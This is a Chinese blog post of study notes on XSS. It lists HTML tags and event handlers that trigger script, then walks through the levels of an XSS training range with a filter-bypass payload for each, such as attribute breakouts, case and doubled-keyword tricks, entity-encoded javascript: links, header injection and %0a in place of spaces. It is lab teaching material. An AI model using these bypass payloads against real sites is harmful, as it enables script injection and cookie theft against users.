jsp语法和简单的xss通关

1.1:小迪教程:

https://www.w3school.com.cn/js/index.asp

1.2常用的一些标签:

1.a标签href超链接标签:

<!-- 点击链接触发 - JavaScript 伪协议 --> 
 <a href="javascript:alert(1)")>XSS1</a> 
 
 <!-- autofocus - 当页面加载时 a 标签自动获得焦点,自动触发 onfoucus 事件--> 
 <a href="" onfocus="alert(1)" autofocus>XSS3</a> 
 
 <!-- 事件监听,当鼠标划过元素时触发 --> 
 <a href="" onmouseover="alert(1)">XSS5</a> 
 <!-- 事件监听,当鼠标划出元素时触发 --> 
 <a href="" onmouseout="alert(1)">XSS6</a> 

2.button按钮标签:

<!--事件监听:焦点事件,页面加载完成后-->
<button onfocus=alert(1) autofocus>XSS1</button>   //页面加载完成后就会出现弹框。
<button onclick=alert(1)>XSS2</button>     //单击按钮
<button onmouseover=alert(1)>XSS3</button>   //鼠标接近按钮
 <button onmouseout=alert(1)>XSS4</button>   //鼠标离开 按钮
 <button onmouseup=alert(1)>XSS5</button>     //点击
<button onmousedown=alert(1)>XSS6</button>        //点击事件

3.img 图片加载标签:

<img src=1 onerror=alert("xss");>   
在页面刷新的时候会出现弹框,加载图片,图片链接也可以换成正常图片的链接
<img src=javascript:alert("xss")>

4.script 的标签,页面渲染用的

<script>alert("xss");</script>

5.input 标签

<input onfocus="alert('xss');">  //当点击了这个输入框的时候,页面就会一直回弹xss

6.ddetails标签

列表标签,也是页面自动刷新的时候,自动进入弹框

<details open ontoggle="alert('xss');"></details>

7.svg标签

<svg onload=alert("xss");></svg>  //页面刷新的时候出现

8.select标签

通过 autofocus属性执行本身的 focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
 <select onfocus=alert(1) autofocus> 

9iframe标签

<iframe onload=alert("xss");></iframe>  //刷新出现弹窗
<iframe src=javascript:alert("xss");></iframe>

10.<video >标签:插入小视频的标签

<video><source onerror="alert(1)">

11.form 标签

<form action="javascript:alert(1)"><input type=submit>

xss攻击是把html代码插入到他原本的代码中来执行。

二:xss的种类:

反射型xss:   

$code=$_GET['x'];
echo $code;
这个xss攻击只会出现再你这个页面中,不会影响其他用户,但是可以盗取cookie

存储型xss:

把xss攻击语句存储到数据库中,只要访问了这个页面的用户就都会收到攻击

三:xss靶场

第一关:

修改名字之后就,会把名字输出到这个页面上面,查看源代码,这个1插入到了html代码中。

/xss/level1.php?name=<script>alert(1);</script>

输入简单的html代码就可以插入到那个源码中,就实现看攻击,并没有做任何的过滤。

第二关:

当输入e的时候,也会插入到源代码中,然后就尝试上面同样的方法。

可以发现这个代码直接插进去了,右键点击转换为html代码。查看为什么这个代码没有执行。

然后可以发现是html代码的尖括号被实体化了。然后就想怎么去避开这个实体化。就是把尖括号给换了。

发现第二个填空处的test,没有进行实体化,但是被一个value标签包裹着,那么就把这个标签闭合了好,这样里面的代码就能执行了。

"> <script>alert()</script> <"
第三关:

还是实体编码,看上面的闭合方式。

可以看到上面的冒号被实体化了,看看冒号该怎么进行绕过。

第4关:

可以看到输入的语句中<>和/都被替换成空了,不管多少次的尖括号都被替换成空了。

就选择上面的没有尖括号的语句,然后这个判断闭合方式。(先试试单引号再说)

然后可以发现人家是双引号闭合。

" onfocus=javascript:alert() "
第5关:

输入一堆特殊符号,看到他们并没有进行实体化。可以看到里面的on和script都会被替换掉。不替换标签的种类,种类中不要含义<script 和on。把闭合方式也弄上,这样才能构成playload

"> <a href=javascript:alert()>xxx</a> <"
第6关

这关中的href被过滤了。尝试其他的标签。

src也被过滤了。

可以看到大部分的标签都被过滤,尝试其他的方法。

尝试大小写,因为字母的替换是看大小写的。大小写超过绕过。

"> <Script>alert()</Script> <" 
第7关:

输入常规的js代码,发现被替换成空了。

把字母替换成空,剩下的拼接起来是那个js代码就可以。

"> <scscriptript>alert()</scriscriptpt> <"
第8关:

还是常规的看,什么东西会被替换掉。

可以看到过滤script.on,href,input双引号,单引号等

但是我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议,这个输入的链接被直接插入到这个href里面当作链接来用。

把上面的链接,进行unicode编码就可以。

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

HTML字符实体转换,网页字符实体编码

第9关:

和往常一样看过滤,然后发现这个编码失效。不能往href添加东西了。输入任何东西,都不会往href里面添加。

说链接不合法,然后看的原代码

就是看这个写入的链接包含不包含http://

同时让这个js代码,还得把这个http://给注释了。还得让注释的东西进行闭合,所以要选着/**/这个符号。

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */
第10关:

没有输入框,这个时候就直接进行url编码:

发现就简简单单的echo一下,实体化了。

查看源代码,往里面传入参数就可以了,他那个url里面并没有这个参数,没有办法。

把那个input属性给显示出来。text


 

?t_sort=" onfocus=javascript:alert() type="text
第11关:

法一:查看源代码和上一个一样的绕过方法。

法2:HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

这个11关也可以用上一个页面进行绕过。可以发现,他这里插入了一个上一个页面的链接,这里就是http请求头里面的referer头。

虚构referer头,发现这个头过滤了一些东西。这个时候绕过这些尖括号换成了空

换成不包含尖括号的,但是发现这么构造出来,这个框框看不见,显示不出来,所以让他显示,加上类型。

" onfocus=javascript:alert() "
" onfocus=javascript:alert() type="text" "
第12关:

看看这个和上一个一样的,这个地方是浏览器

User-Agent 即用户代理,简称“UA”,它是一个特殊字符串头。网站服务器通过识别 “UA”来确定用户所使用的操作系统版本、CPU 类型、浏览器版本等信息。而网站服务器则通过判断 UA 来给客户端发送不同的页面。

1

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36

UA 字符串各部分的含义如下:

  • Mozilla/5.0:表示当前浏览器所使用的用户代理标识符的版本号。它几乎是一个固定的写法。
  • (Windows NT 10.0; Win64; x64):表示当前浏览器所处操作系统的一些信息。该字段表示浏览器所在的操作系统是 64 位的 Windows 10.0 操作系统,以及所使用的处理器的架构是 64 位的。
  • AppleWebKit/537.36:表示当前浏览器所使用的渲染引擎。该字段表示浏览器使用的渲染引擎是 537.36 版本的 Webkit 引擎。
  • (KHTML, like Gecko):表示当前浏览器所支持的 Web 标准与技术。该字段表示浏览器具有类似于 KHTML 和 Gecko 引擎的渲染能力。这个字段主要是为了保证浏览器的兼容性。
  • Chrome/114.0.0.0:表示当前浏览器的内核名称以及版本号。该字段表示浏览器所使用的内核是 114.0.0.0 版本的 Chrome 内核。
  • Safari/537.36:表示浏览器所支持的一些特性和功能。该字段表示浏览器支持 537.36 版本的 Safari 浏览器
  • 第13关

可以看到cookie里面存储了这样的一个元素

这个元素和代码中显示的一摸一样。把cookie的值修改成js代码就可以了。显示文本。

第14关:
第15题:

ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号

 对比发现,这里有个html实体化函数在,没有删掉东西,所以不影响我们接下来的操作,我们可以包涵第一关并让第一关弹窗(注意,这里不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要我们手动点击弹窗的),这里我们使用img标签,可参考XSS常见的触发标签,构造payload.

第16关:

和之前的一样,这个时候就开始打印,选取常用的一些js代码,然后进行排除黑名单。

黑名单里面有script和/,被实体化。unicode也不行。

 可以用这个当作一个测试的语句:

这个标签也可以试试。

<p οnmοusedοwn=alert()>abc</p>
?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> &#106; 

空格可以用回车来代替绕过,空格被过滤掉,可以用这个回车来绕过。

回车的url编码是%0a。

空格被代替了,可以用这个%0a来弄。

<img%0asrc=1%0aonerror=alert("xss");>   
?keyword=<svg%0Aonload=alert(1)>
第17关:

这里可以看到是字符串的拼接。

对比发现,虽然加了的html转义,但是这里不需要闭合符号,传入的参数都出现在了embed标签上,打开后缀名为swf的文件(FLASH插件的文件,现在很多浏览器都不支持FLASH插件了)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值